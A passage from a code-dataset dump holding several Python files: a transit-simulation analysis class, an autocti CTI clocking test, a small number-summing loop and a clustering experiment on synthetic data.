filter_to_simba_binnenverkehr_fq_legs(self):\n df = self.get_pt_legs()\n return df[df[IS_SIMBA] & df.is_binnenverkehr_simba & df.journey_has_fq_leg]\n\n def get_skims_simba(self, **kwargs):\n if \"skims\" not in self.data:\n df = self.filter_to_simba_binnenverkehr_fq_legs()\n skims = get_station_to_station_skims(df, self.get_stop_attributes())\n skims.set_index([\"first_stop_code\", \"last_stop_code\"], inplace=True)\n self.data[\"skims\"] = skims\n return self.data[\"skims\"]\n\n def get_skim_simba(self, name, **kwargs):\n return self.get_skims_simba()[[name]]\n\n def get_vehjourneys(self):\n return self._get(\"vehjourneys\")\n\n def get_boarding_alighting(self):\n return self._get(\"stops\")\n\n def get_stops(self):\n return self.get_boarding_alighting()\n\n def get_ea(self):\n return self.get_boarding_alighting()\n\n def get_linkvolumes(self):\n df = self._get(\"linkvolumes\")\n id = LINK_ID\n if NAME in df.columns:\n id = NAME\n df = pd.DataFrame(df.groupby([id, \"mode\"])[VOLUME].sum()).reset_index()\n self.data[\"linkvolumes\"] = df\n return df\n\n def get_planelements(self):\n return self._get(\"planelements\")\n\n def get_stop_points(self):\n return self._get(\"stop_points\")\n\n def get_stop_attributes(self):\n return self._get(\"stop_attributes\")\n\n def get_route_attributes(self):\n return self._get(\"route_attributes\")\n\n def _get(self, name, reload_data=False):\n self._load_data(name, reload_data=reload_data)\n df = self.data[name]\n if self.sample is not None:\n df = df.sample(self.sample, axis=0, replace=True)\n return df\n\n def load_stop_attributes(self, path):\n df = analyse.reader.get_attributes(path, STOP_FACILITY)\n df[STOP_FACILITY] = df[STOP_FACILITY].map(float)\n self.data[\"stop_attributes\"] = df\n\n def load_route_attributes(self, path):\n self.data[\"route_attributes\"] = analyse.reader.get_attributes(path, TRANSIT_ROUTE)\n\n def load_stop_points(self):\n self.data[\"stop_points\"] = analyse.reader.get_stops(self.path)\n\n def _load_data(self, name, reload_data=True):\n if not reload_data and name in self.data:\n logging.debug(\"Data %s already loaded\" % name)\n return\n\n try:\n time1 = time.time()\n sep = keys[name][\"sep\"]\n filename = keys[name][\"path\"]\n if self.runId is not None:\n filename = self.runId + \".\" + filename\n path = os.path.join(self.path, filename)\n logging.info(\"Starting loading data %s: %s \" % (name, path))\n df = pd.read_csv(path, sep=sep, encoding=\"utf-8\", dtype=dtypes).reset_index(drop=True)\n self.data[name] = df\n logging.info(\"%s loaded in %i seconds\" % (name, time.time() - time1))\n except Exception as e:\n logging.error(e.message)\n\n def unload_data(self):\n self.data.clear()\n self.trip_persons_merged = False\n self.legs_persons_merged = False\n self.link_merged = False\n\n def load_data(self, with_stop_points=False):\n logging.info(\"Loading Data for %s\" % self.name)\n for name in keys:\n self._load_data(name)\n if with_stop_points:\n self.load_stop_points()\n\n def _set_dummy_pf(self):\n df = self.get_legs()\n df[PF] = self.scale_factor\n df[PKM] = df[DISTANCE] * df[PF]\n\n df = self.get_trips()\n df[PF] = self.scale_factor\n df[PKM] = df[DISTANCE] * df[PF]\n\n def prepare(self, ref=None, persons=None, transit_schedule=None,\n shapefile_attributes=None, zone_attributes=[\"N_Gem\"], zone_merge_attribute=\"ID_ALL\"):\n # self.unload_data()\n\n if transit_schedule is not None:\n self.load_stop_attributes(transit_schedule)\n self.load_route_attributes(transit_schedule)\n\n if persons is not None:\n logging.info(\"Using a special dataframe for persons\")\n self.data[\"persons\"] = persons\n\n df = self.get_trips()\n df.loc[df.main_mode == TRANSIT_WALK, MAIN_MODE] = WALK_AGGR\n df.loc[df.main_mode == WALK, MAIN_MODE] = WALK_AGGR\n df.loc[df.main_mode == \"detPt\", \"main_mode\"] = \"pt\"\n\n df = self.get_legs()\n df.loc[df[\"mode\"] == \"detPt\", \"mode\"] = \"pt\"\n\n self._set_dummy_pf()\n\n df = self.merge_trips_persons()\n df = self.merge_legs_persons()\n\n self.create_starttime_class_for_legs()\n\n if ref is not None:\n stations = ref.get_count_stations()\n self.merge_link_id_to_name(stations)\n\n if shapefile_attributes is not None and zone_attributes is not None:\n self.merge_trips_zone(shapefile_attributes, zone_attributes, zone_merge_attribute)\n\n def merge_activities_to_zone(self, attirbutes_path, zone_attributes=[\"N_Gem\"], merge_attribute=\"ID_ALL\"):\n zones = pd.read_csv(attirbutes_path, sep=\",\", encoding=\"utf-8\")\n df = self.get_acts()\n df.activity_id = df.activity_id.apply(int)\n\n acts = df.merge(zones[[merge_attribute] + zone_attributes], left_on=\"zone\", right_on=merge_attribute)\n self.data[\"acts\"] = acts\n return self.get_acts()\n\n def merge_trips_zone(self, attirbutes_path, zone_attributes=[\"N_Gem\"], merge_attribute=\"ID_ALL\"):\n acts = self.merge_activities_to_zone(attirbutes_path, zone_attributes, merge_attribute)\n acts = acts.set_index(\"activity_id\")\n\n trips = self.get_trips()\n trips.from_act = trips.from_act.apply(int)\n trips.to_act = trips.to_act.apply(int)\n\n df = trips.merge(acts[zone_attributes], left_on=\"from_act\", right_index=True, how=\"left\")\n\n zone_attributes_dict = dict(zip(zone_attributes, [\"from_\" + a for a in zone_attributes]))\n df.rename(columns=zone_attributes_dict, inplace=True)\n df = df.merge(acts[zone_attributes], left_on=\"to_act\", right_index=True, how=\"left\")\n zone_attributes_dict = dict(zip(zone_attributes, [\"to_\" + a for a in zone_attributes]))\n df.rename(columns=zone_attributes_dict, inplace=True)\n\n self.data[\"journeys\"] = df\n return self.get_trips()\n\n def merge_trips_persons(self):\n if not self.trip_persons_merged:\n trips = self.get_trips().merge(self.get_persons(), on=person_id, how=\"left\", suffixes=(\"\", \"_p\"))\n self.trip_persons_merged = True\n self.data[\"journeys\"] = trips\n return self.get_trips()\n\n def merge_legs_persons(self):\n if not self.legs_persons_merged:\n legs = self.get_legs().merge(self.merge_trips_persons(), on=trip_id, how=\"left\", suffixes=(\"\", \"_trips\"))\n self.legs_persons_merged = True\n self.data[\"legs\"] = legs\n return self.get_legs()\n\n def merge_link_id_to_name(self, stations):\n logging.info(\"merging links\")\n if not self.link_merged:\n df = self.get_linkvolumes()\n # fix because of error in matsim-sbb\n df = df[df[\"mode\"] == \"car\"]\n df = df.merge(stations, how=\"right\", left_on=LINK_ID, right_index=True)\n self.data[\"linkvolumes\"] = df\n self.link_merged = True\n logging.info(\"done merging links\")\n return self.get_linkvolumes()\n\n def _do(self, df, by, value, foreach=None, aggfunc=\"count\", percent=None, inverse_percent_axis=False,\n percent_level=None, **kwargs):\n def check_variable(values):\n if not isinstance(values, list):\n values = [values]\n for _value in values:\n if _value not in df.columns:\n df[_value] = \"Undefined\"\n\n def make_percent(df):\n if inverse_percent_axis:\n do = False\n if df.columns.nlevels > 1:\n do = True\n df = df.stack(percent_level)\n _df = df.sum(axis=1)\n df = df.divide(_df, axis=0)\n if do:\n df = df.unstack(percent_level)\n df = df.swaplevel(0, 1, axis=1)\n else:\n df = df.divide(df.sum(level=percent_level))\n return df\n\n check_variable(by)\n check_variable(foreach)\n\n if foreach is not None:\n df = df.pivot_table(index=by, columns=foreach, values=value, aggfunc=aggfunc)\n else:\n df = df.groupby(by).agg({value: aggfunc})\n\n if percent:\n df = make_percent(df)\n\n df = df.fillna(0)\n return df\n\n @cache\n def calc_nb_trips(self, by=mode_trip, **kwargs):\n return self._do(self.get_trips(), by=by, value=PF, aggfunc=\"sum\", **kwargs)\n\n @cache\n def calc_nb_legs(self, **kwargs):\n return self._do(self.get_legs(), value=PF, aggfunc=\"sum\", **kwargs)\n\n @cache\n def calc_dist_trips(self, **kwargs):\n return self._do(self.get_trips(), value=PKM, aggfunc=\"sum\", **kwargs)\n\n @cache\n def calc_dist_legs(self, **kwargs):\n return self._do(self.get_legs(), value=PKM, aggfunc=\"sum\", **kwargs)\n\n @cache\n def calc_dist_distr_trips(self, inverse_percent_axis=False, rotate=True, **kwargs):\n self.create_distance_class_for_trips()\n df = self._do(self.get_trips(), by=CAT_DIST, value=PF, aggfunc=\"sum\", rotate=rotate,\n inverse_percent_axis=inverse_percent_axis, **kwargs)\n if inverse_percent_axis:\n return df\n else:\n return df.cumsum()\n\n @cache\n def calc_dist_distr_legs(self, inverse_percent_axis=False, rotate=True, **kwargs):\n self.create_distance_class_for_legs()\n df = self._do(self.get_legs(), by=CAT_DIST, value=PF, aggfunc=\"sum\", rotate=rotate,\n inverse_percent_axis=inverse_percent_axis, **kwargs)\n if inverse_percent_axis:\n return df\n else:\n return df.cumsum()\n\n def plot_timing(self):\n analyse.plot.plot_timing(self.path)\n\n def plot_score(self):\n analyse.plot.plot_score([self.path])\n\n @cache\n def calc_einsteiger(self, simba_only=False, codes=None, **kwargs):\n if simba_only:\n df = self.filter_to_simba_binnenverkehr_fq_legs()\n else:\n df = self.get_pt_legs()\n\n try:\n df = df.merge(right=self.get_stop_attributes(), how=\"left\", left_on=\"boarding_stop\", right_on=STOP_FACILITY)\n df.rename(columns={\"03_Stop_Code\": \"03_Stop_Code_boarding\"}, inplace=True)\n except KeyError as e:\n logging.warn(e)\n\n df = self._do(df, value=PF, aggfunc=\"sum\", **kwargs)\n\n if codes is not None:\n df = df.loc[codes]\n\n gc.collect()\n return df\n\n @cache\n def calc_pt_pkm(self, simba_only=False, **kwargs):\n if simba_only:\n df = self.filter_to_simba_binnenverkehr_fq_legs()\n else:\n df = self.get_pt_legs()\n\n df = self.merge_route(df)\n\n df = self._do(df, value=PKM, aggfunc=\"sum\", **kwargs)\n\n gc.collect()\n return df\n\n @cache\n def calc_pt_pf(self, simba_only=False, **kwargs):\n if simba_only:\n df = self.filter_to_simba_binnenverkehr_fq_legs()\n else:\n df = self.get_pt_legs()\n\n df = self.merge_route(df)\n df = self._do(df, value=PF, aggfunc=\"sum\", **kwargs)\n\n gc.collect()\n return df\n\n def merge_route(self, df):\n if self.route_merged:\n return df\n try:\n n = len(df)\n df = df.merge(right=self.get_route_attributes(), how=\"left\", left_on=\"route\", right_on=TRANSIT_ROUTE)\n assert n == len(df), \"Size of DF changed\"\n self.route_merged = True\n except KeyError as e:\n logging.warn(e)\n return df\n\n @cache\n def calc_dist_distr_pt_legs(self, inverse_percent_axis=False, rotate=True, **kwargs):\n df = self.get_pt_legs()\n self._create_distance_class(df)\n\n df = self.merge_route(df)\n\n df = self._do(df, by=CAT_DIST, value=PF, aggfunc=\"sum\", rotate=rotate,\n inverse_percent_axis=inverse_percent_axis, **kwargs)\n return df\n\n @cache\n def calc_pt_dist_distr_trips(self, simba_only=False, **kwargs):\n if simba_only:\n df = self.filter_to_simba_binnenverkehr_fq_legs()\n else:\n df = self.get_pt_legs()\n\n agg_dict = {PF: \"first\", DISTANCE: \"sum\"}\n if \"foreach\" in kwargs:\n foreach = kwargs[\"foreach\"]\n if foreach is not None:\n for a in foreach:\n agg_dict[a] = \"first\"\n\n df = df.groupby(\"journey_id\").agg(agg_dict)\n\n self._create_distance_class(df)\n\n return self._do(df, by=CAT_DIST, value=PF, aggfunc=\"sum\", **kwargs)\n\n @cache\n def calc_duration_trips(self, **kwargs):\n df = self.get_trips()\n df[\"duration\"] = (df.end_time - df.start_time) // (60 * 10)\n df = self._do(df, value=PF, aggfunc=\"sum\", by=DURATION, **kwargs)\n return df\n\n @cache\n def calc_vehicles(self, **kwargs):\n df = self.get_linkvolumes()\n df = self._do(df, value=VOLUME, aggfunc=\"sum\", by=NAME, **kwargs) * self.scale_factor\n return df\n\n def get_umstiege(self, only_train=False, var=UMSTIEG):\n def get_count(data):\n def get_umstieg(_data, name):\n if len(_data) <= 1:\n return \"%s_direkt\" % name\n elif len(_data) == 2:\n return \"%i_Umstieg_%s\" % (len(_data) - 1, name)\n elif len(_data) < 6:\n return \"%i_Umstiege_%s\" % (len(_data) - 1, name)\n else:\n return \">4_Umstiege_%s\" % name\n\n _data = data.values\n # Only Bahn\n if \"Bahn\" in _data and \"OPNV\" not in _data:\n return get_umstieg(_data, \"Bahn\")\n # Only OPNV\n elif \"Bahn\" not in _data and \"OPNV\" in _data:\n return get_umstieg(_data, \"OPNV\")\n # OeV\n else:\n return get_umstieg(_data, \"OeV\")\n\n def get_count_train(data):\n _data = data.values\n # Only Bahn\n name = \"Bahn\"\n if \"Bahn\" in _data:\n n = list(_data).count(\"Bahn\")\n if n <= 1:\n return \"%s_direkt\" % name\n elif n == 2:\n return \"%i_Umstieg_%s\" % (n - 1, name)\n elif n < 6:\n return \"%i_Umstiege_%s\" % (n - 1, name)\n else:\n return \">4_Umstiege_%s\" % name\n else:\n return \"keine_Bahnetappe\"\n\n df = self.get_pt_legs()\n filtered_df = df[df[\"08_TSysName\"].notnull()]\n filtered_df[var] = filtered_df[\"08_TSysName\"].apply(lambda x: tsys2pt[x])\n\n if only_train:\n return self._do(filtered_df, by=trip_id, value=var, aggfunc=get_count_train)\n else:\n return self._do(filtered_df, by=trip_id, value=var, aggfunc=get_count)\n\n @cache\n def calc_pt_umstiege(self, only_train=False, **kwargs):\n df = self.get_trips()\n df = df[df[MAIN_MODE] == \"pt\"]\n var = UMSTIEG\n if not only_train and UMSTIEG not in df.columns:\n df_trips = self.get_umstiege(only_train=False, var=UMSTIEG)\n df = df.merge(df_trips, left_on=trip_id, right_index=True, how=\"right\")\n\n if only_train and UMSTIEG_BAHN not in df.columns:\n df_trips = self.get_umstiege(only_train=True, var=UMSTIEG_BAHN)\n df = df.merge(df_trips, left_on=trip_id, right_index=True, how=\"right\")\n\n if only_train:\n var = UMSTIEG_BAHN\n df = df[np.logical_not(df[UMSTIEG_BAHN].str.contains(\"keine\"))]\n\n return self._do(df, by=var, aggfunc=\"sum\", **kwargs)\n\n @cache\n def calc_pt_uh(self, simba_only=False, **kwargs):\n if simba_only:\n df = self.filter_to_simba_binnenverkehr_fq_legs()\n else:\n df = self.get_pt_legs()\n df = df.groupby(trip_id).agg({leg_id: \"count\", PF: \"first\"})\n df[\"nb_transfer\"] = df[leg_id] - 1\n return self._do(df, by=\"nb_transfer\", value=PF, aggfunc=\"sum\", percent=True, **kwargs)\n\n @cache\n def calc_pt_nb_trips(self, simba_only=False, by=\"mode\", **kwargs):\n if simba_only:\n df = self.filter_to_simba_binnenverkehr_fq_legs()\n else:\n df = self.get_pt_legs()\n columns = [PF, by]\n if \"foreach\" in kwargs:\n foreach = kwargs[\"foreach\"]\n if foreach is not None:\n columns += foreach\n df = df.groupby(trip_id)[columns].min()\n\n return self._do(df, by=by, value=PF, aggfunc=\"sum\", **kwargs)\n\n @staticmethod\n def _create_distance_class(df, column=DISTANCE, category_column=CAT_DIST):\n classes = distance_classes\n labels = distance_labels\n\n df[category_column] = pd.cut(df[column], classes, labels=labels)\n\n def create_distance_class_for_legs(self, **kwargs):\n self._create_distance_class(self.get_legs(), **kwargs)\n\n def create_distance_class_for_trips(self, **kwargs):\n self._create_distance_class(self.get_trips(), **kwargs)\n\n @staticmethod\n def _create_starttime_class(df):\n logging.info(\"creating start_time category\")\n df[CAT_START_TIME] = df[START_TIME] // (60 * 60)\n\n def create_starttime_class_for_legs(self):\n self._create_starttime_class(self.get_legs())\n\n def create_starttime_class_for_trips(self):\n self._create_starttime_class(self.get_trips())\n\n\ndistance_classes = np.array([-1, 0, 2, 4, 6, 8, 10, 15, 20, 25, 30, 40, 50, 100, 150, 200, 250, 300, np.inf]) * 1000.0\ndistance_labels = [\"0\", \"0-2\", \"2-4\", \"4-6\", \"6-8\", \"8-10\", \"10-15\", \"15-20\", \"20-25\", \"25-30\", \"30-40\", \"40-50\",\n \"50-100\", \"100-150\", \"150-200\", \"200-250\", \"250-300\", \"300+\"]\n\ntsys2pt = {'BUS': 'OPNV',\n 'FUN': 'OPNV',\n 'FV - ProduktA': 'Bahn',\n 'RV - ProduktD': 'Bahn',\n 'FV - ProduktB': 'Bahn',\n 'FV-RV - ProduktC': 'Bahn',\n 'IPV - HGV': 'Bahn',\n 'IPV - Konventionell': 'Bahn',\n 'IPV - Regionalverkehr': 'Bahn',\n 'KB': 'OPNV',\n 'M': 'OPNV',\n \"BAT\": \"OPNV\",\n \"FAE\": \"OPNV\",\n 'NFB': 'OPNV',\n 'NFO': 'OPNV',\n 'LB': 'OPNV',\n 'GB': 'OPNV',\n 'NFT': 'OPNV',\n 'T': 'OPNV'}\n","sub_path":"analyse/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":23666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"223300134","text":"import os\r\n\r\nimport pytest\r\nimport numpy as np\r\n\r\nfrom arcticpy import add_cti\r\n\r\nimport autocti as ac\r\n\r\npath = \"{}/\".format(os.path.dirname(os.path.realpath(__file__)))\r\n\r\n\r\ndef test__data_mapped_to_2d_and_then_1d():\r\n arr_1d = ac.Array1D.no_mask(\r\n values=[1.0, 2.0, 3.0, 4.0],\r\n pixel_scales=1.0,\r\n header=ac.Header(\r\n header_sci_obj=None, header_hdu_obj=None, readout_offsets=(3,)\r\n ),\r\n ).native\r\n\r\n arr_2d = ac.Array2D.no_mask(\r\n values=[[1.0], [2.0], [3.0], [4.0]],\r\n pixel_scales=1.0,\r\n header=ac.Header(\r\n header_sci_obj=None, header_hdu_obj=None, readout_offsets=(3,)\r\n ),\r\n ).native\r\n\r\n roe = ac.ROE(\r\n dwell_times=[1.0],\r\n empty_traps_between_columns=True,\r\n empty_traps_for_first_transfers=False,\r\n force_release_away_from_readout=True,\r\n use_integer_express_matrix=False,\r\n )\r\n ccd_phase = ac.CCDPhase(\r\n full_well_depth=1e3, well_notch_depth=0.0, well_fill_power=1.0\r\n )\r\n ccd = ac.CCD(phases=[ccd_phase], fraction_of_traps_per_phase=[1.0])\r\n traps = [ac.TrapInstantCapture(10.0, -1.0 / np.log(0.5))]\r\n\r\n image_via_arctic = add_cti(\r\n image=arr_2d,\r\n parallel_traps=traps,\r\n parallel_ccd=ccd,\r\n parallel_roe=roe,\r\n parallel_express=3,\r\n )\r\n\r\n cti = ac.CTI1D(trap_list=traps, ccd=ccd_phase)\r\n\r\n clocker_1d = ac.Clocker1D(express=3, roe=roe)\r\n\r\n image_via_clocker = clocker_1d.add_cti(data=arr_1d, cti=cti)\r\n\r\n assert image_via_arctic.flatten() == pytest.approx(image_via_clocker, 1.0e-4)\r\n\r\n image_corrected = clocker_1d.remove_cti(data=image_via_clocker, cti=cti)\r\n\r\n assert (image_corrected[:] > image_via_clocker[:]).all()\r\n","sub_path":"test_autocti/clocker/test_one_d.py","file_name":"test_one_d.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"144265752","text":"summ = 0\r\n\r\nwhile True:\r\n a = input('Введите число или Стоп для выхода: ')\r\n if a.lower() == 'стоп':\r\n break\r\n if a.isdigit():\r\n summ += int(a)\r\n else: print('Ошибка ввода')\r\nprint('Сумма:', summ)\r\n","sub_path":"lesson_7/end_count_sum.py","file_name":"end_count_sum.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"625242330","text":"# -*- coding:utf-8 -*-\n\nimport random\nfrom Kit.Figure import *\nfrom UIL.View.Operation import *\nfrom Setting.Config import *\nfrom DAL.Loader import *\nfrom Setting.Config import *\nfrom LIB.ClusterLIB.Metric.Measure import *\nimport numpy as np\nimport pandas as pd\nimport random\nimport time\nfrom Setting.Config import *\nimport sys\nmodules = ['pymssql','pymysql']\nfor each in modules:\n try:\n __import__(each)\n except:\n pass\n\n\n\n\nconf = getConfig()\n\n# 0.21 10\n# def synt():\n# leng = 12\n# ddd = []\n# for i in range(1, 200):\n# dd = []\n# v = float(i)\n# dd.append(60*v * v+10*v)\n# dd.append(v+float(random.randint(0,5)))\n# dd.append(math.pow(v,-2.6)+float(random.randint(0,5))/20)\n# dd.append(math.pow(v,-2.1)+float(random.randint(0,5))/20)\n# dd.append(math.exp(v))\n# dd.append(math.log(2*v))\n# dd.append(math.log(v) * 4)\n# dd.append(math.log(v) * 2)\n# dd.append(math.pow(v, -2))\n# dd.append(math.pow(v, 7))\n# dd.append(math.pow(v, -4.2))\n# dd.append(math.pow(v, 0.5))\n# ddd.append(dd)\n# ground_truth.append(0)\n#\n# for i in range(1, 200):\n# dd = []\n# v = float(i)\n# dd.append(120 * v * v - 190 * v + 450)\n# dd.append(v + float(random.randint(0, 5))+ 200)\n# dd.append(math.pow(v, -2.6) + float(random.randint(0, 5)) / 20)\n# dd.append(math.pow(v, -2.1) + float(random.randint(0, 5)) / 20)\n# dd.append(math.exp(v))\n# dd.append(math.log(2 * v))\n# dd.append(math.log(v) * 4)\n# dd.append(math.log(v) * 2)\n# dd.append(math.pow(v, -2))\n# dd.append(math.pow(v, 7))\n# dd.append(math.pow(v, 4.2))\n# dd.append(math.pow(v, 0.5))\n# ddd.append(dd)\n# ground_truth.append(1)\n#\n# for i in range(1, 200):\n# dd = []\n# v = float(i)\n# dd.append(-600 * v * v + 90 * v)\n# dd.append(v + float(random.randint(0, 5)) + 350)\n# dd.append(math.pow(v, -2.6) + float(random.randint(0, 5)) / 20)\n# dd.append(math.pow(v, -2.1) + float(random.randint(0, 5)) / 20)\n# dd.append(math.exp(v)+ 150)\n# dd.append(math.log(2 * v))\n# dd.append(math.log(v) * 4)\n# dd.append(math.log(v) * 2)\n# dd.append(math.pow(v, -2))\n# dd.append(math.pow(v, 7))\n# dd.append(math.pow(v, -4.2))\n# dd.append(math.pow(v, 0.5))\n# ddd.append(dd)\n# ground_truth.append(2)\n#\n# ddd = pd.DataFrame(ddd)\n# ddd = (ddd - ddd.min())/(ddd.max() - ddd.min())\n# leng = len(list(ddd.columns))\n# # for i in range(leng-1):\n# # for j in range(i+1,leng):\n# # print(pearson(ddd[i].as_matrix(),ddd[j].as_matrix()))\n# return ddd\n\n# def synt():\n# leng = 12\n# ddd = []\n# for i in range(1, 100):\n# dd = []\n# v = float(i)\n# dd.append(v * v)\n# dd.append(v)\n# dd.append(math.pow(v,0.6))\n# dd.append(math.pow(v,0.1))\n# dd.append(math.exp(v))\n# dd.append(math.log(v))\n# dd.append(math.pow(v,2.4))\n# dd.append(math.pow(v, 1.4))\n# dd.append(math.pow(v, 5))\n# dd.append(math.pow(v, 3))\n# dd.append(math.pow(v, 4.2))\n# dd.append(math.pow(v, -2.5))\n# ddd.append(dd)\n# ground_truth.append(0)\n# for i in range(100, 200):\n# dd = []\n# v = float(i)\n# for j in range(12):\n# dd.append(random.randint(-45, 0))\n# ddd.append(dd)\n# ground_truth.append(1)\n# for i in range(200, 300):\n# dd = []\n# v = float(i)\n# for j in range(12):\n# dd.append(random.randint(5,45))\n# ddd.append(dd)\n# ground_truth.append(2)\n# ddd = pd.DataFrame(ddd)\n# ddd = (ddd - ddd.min())/(ddd.max() - ddd.min())\n# leng = len(list(ddd.columns))\n# # for i in range(leng-1):\n# # for j in range(i+1,leng):\n# # print(pearson(ddd[i].as_matrix(),ddd[j].as_matrix()))\n# return ddd\n\ndef synt():\n ddd = []\n t = datasets.make_moons(n_samples=300)\n\n\n for ii in range(len(t[0])):\n v = t[0][ii]\n dd = []\n for _ in range(6):\n dd.append(v[0]+float(random.randint(0,6))/10.0)\n for _ in range(6):\n dd.append(v[1]+float(random.randint(0,6))/10.0)\n ddd.append(dd)\n ground_truth.append(t[1][ii])\n\n ddd = pd.DataFrame(ddd)\n ddd = (ddd - ddd.min())/(ddd.max() - ddd.min())\n leng = len(list(ddd.columns))\n # for i in range(leng-1):\n # for j in range(i+1,leng):\n # print(pearson(ddd[i].as_matrix(),ddd[j].as_matrix()))\n return ddd\n\ndef predict():\n\n operation = Operation()\n eval = 'log_loss'\n cs = {\n 'type':'single',\n 'classifier':NaiveXGBoostClassifier(),\n 'param':{\n 'silent':'1',\n 'objective':'multi:softmax',\n 'num_class':3,\n 'max_depth':20,\n 'eta':'0.05',\n #'colsample_bytree':0.65,\n #'subsample':0.95,\n 'min_child_weight':60,\n 'num_round':10\n },\n 'extraction':{\n 'type':None\n },\n 'eval':eval\n }\n\n operation.predictImmediate(predict_strategy = cs)\n\nshow_label = {'single':None,'ensemble':None}\n\n\n\ndef group(single=True,ensemble=True,show_label={}):\n shrink = 5\n cluster_num = 2\n filter_num = 'auto'\n instance = conf['instance']['experiment']\n opeartion = Operation()\n\n 啊 = True\n if True:\n cluster = SpectralCluster(params={'degree':5,'affinity':'nearest_neighbors','num_cluster':cluster_num,'n_neighbors':40,'filter_num':filter_num,\n 'shrink': shrink})\n cluster_e = SpectralCluster(\n params={'degree': 5, 'affinity': 'nearest_neighbors', 'num_cluster': cluster_num, 'n_neighbors': 40, 'filter_num': filter_num,\n 'shrink': shrink})\n\n if False:\n print('DBSCAN')\n cluster = DBSCANCluster(params={'eps':0.20,'mpts':10,'filter_num':filter_num,\n 'shrink': shrink,'num_cluster':cluster_num,'algorithm':'ball_tree'})\n cluster_e = DBSCANCluster(params={'eps': 0.19, 'mpts': 10,'filter_num':filter_num,\n 'shrink': shrink,'num_cluster':cluster_num,'algorithm':'ball_tree'})\n\n if False:\n print('AgglomerativeCluster'\n '')\n cluster = AgglomerativeCluster(params={'num_cluster':cluster_num,\n 'linkage':'ward',\n 'affinity':'euclidean',\n 'n_neighbours': None,\n 'connectivity':False,\n 'filter_num':filter_num,\n 'shrink': shrink})\n\n cluster_e = AgglomerativeCluster(params={'num_cluster': cluster_num,\n 'linkage': 'ward',\n 'affinity': 'euclidean',\n 'n_neighbours': None,\n 'connectivity': False,\n 'filter_num': filter_num,\n 'shrink': shrink})\n if False:\n print('KMEANS')\n cluster = KMeansCluster(params={'num_cluster':cluster_num,'n_init':10,'init':'k-means++','filter_num':filter_num,'shrink':shrink})\n cluster_e = KMeansCluster(params={'num_cluster':cluster_num,'n_init':10,'init':'k-means++','filter_num':filter_num,'shrink':shrink})\n if single:\n css = {\n 'type':'single',\n 'cluster':cluster,\n 'param':None,\n\n # 'cluster':BirchCluster(),\n # 'param':{\n # 'filter_num':filter_num,\n # 'num_cluster':cluster_num\n # },\n\n 'cluster_eval':[{\n 'name':'DBI',\n 'param':None\n },{\n 'name':'SDBW',\n 'param':None\n }],\n 'feature_eval':{\n 'name':'RANGE',\n 'param':None\n },\n 'num_cluster':cluster_num\n }\n print('------------------------Cluster From Single Mode------------------------')\n\n dsynt = synt()\n opeartion.groupImmediate(direct=dsynt,cluster_strategy=css,top_feature_num=3,instance=instance)\n show_label['single'] = opeartion.structure_group.getLabel()\n labelMatch(ground_truth,show_label['single'])\n if 啊:\n corr = 0\n for i in range(len(ground_truth)):\n if show_label['single'][i] == ground_truth[i]:\n corr += 1\n sa = float(corr)/float(len(ground_truth))\n print('single accuracy:'+str(sa))\n opeartion.show(feature_show=False,name='Single Cluster')\n if ensemble:\n cse = {\n 'type':'ensemble',\n #'cluster':KMeansCluster(params={'num_cluster':cluster_num,'n_init':10,'init':'k-means++','filter_num':filter_num}),\n #'cluster': DBSCANCluster(params={'eps': 0.2, 'mpts':2}),\n 'cluster':cluster_e,\n #'cluster':BirchCluster(params={'num_cluster':cluster_num,'filter_num':filter_num}),\n 'param':{\n 'type':'ENSEMBLE_PROJ',\n 'sample_strategy':'SUBSIM',\n 'round':20,\n 'feature_sample_ratio':0.8,\n 'filter_num':filter_num,\n 'shrink': shrink,\n 'thres':0.01,\n 'sim_limit':2,\n 'weight_eval':{\n 'name':'RELIEF',\n 'param':{'SEGMENT':4}\n },\n 'num_cluster':cluster_num\n },\n 'cluster_eval':[{\n 'name':'DBI',\n 'param':None\n },{\n 'name':'SDBW',\n 'param':None\n }],\n 'feature_eval':{\n 'name':'RELIEF',\n 'param':None\n },\n 'num_cluster':cluster_num\n }\n print('------------------------Cluster From Ensemble Mode------------------------')\n opeartion.groupImmediate(direct=dsynt, cluster_strategy=cse, top_feature_num=3,instance=instance,lf=True)\n show_label['ensemble'] = opeartion.structure_group.getLabel()\n labelMatch(ground_truth, show_label['ensemble'])\n if 啊:\n corr = 0\n for i in range(len(ground_truth)):\n if show_label['ensemble'][i] == ground_truth[i]:\n corr += 1\n ea = float(corr) / float(len(ground_truth))\n print('ensemble accuracy:' + str(ea))\n\n print('草拟粑粑:'+str(ea-sa))\n\n opeartion.show(feature_show=False,name='Vote Cluster')\n print(conf['instance']['experiment']['io_definition']['business_group']['train']['destination_entrance']+'/KM/'+cse['param']['sample_strategy']+'/W-'+cse['param']['weight_eval']['name']+'/'+str(cluster_num))\n\n\n\n\ndef __prepareForShowData(data, label, limit=2000, ratio=0.2):\n if len(data) > limit:\n show_data, ps = customSample(data, ratio)\n else:\n show_data = data\n ps = [i for i in range(len(data))]\n if len(data[0]) > 3:\n show_data = np.array(doPCA(show_data, 2))\n show_label = label\n tmp = []\n for v in ps:\n tmp.append(show_label[v])\n show_label = tmp\n return show_data, show_label\n\nif True:\n group(True,True,show_label)\n #predict()\n plt.show()\n\n\n\n\n\n\n\n\nfeature_a = ['ID',\n 'LEVEL',\n 'GENDER',\n 'AGE',\n 'INTEGRAL',\n 'MEMBER_LIFE', #*\n 'RECENT_CONSUME_SPAN', #*\n 'CONSUME_LIFE', #*\n 'MEMBER_UNIT_SOURCE',\n 'MEMBER_SOURCE',\n 'CARD_LIFE', #*\n 'RECHARGE_AMOUNT_SUM', #*\n 'CONSUME_AMOUNT_SUM', #*\n 'RECHARGE_AMOUNT_REAL_SUM', #*\n 'CONSUME_WITH_RECHARGE_SUM', #*\n 'CURRENT_BALANCE_SUM',\n 'INRETURN_IN_AMOUNT_SUM',\n 'INRETURN_OUT_AMOUNT_SUM',\n 'RETURN_AMOUNT_SUM',\n 'VALID_INRETURN_AMOUNT_SUM',\n 'ALL_INRETURN_AMOUNT_SUM',\n 'INVALID_INRETURN_AMOUNT_SUM',\n 'SOON_INVALID_INRETURN_AMOUNT_SUM',\n 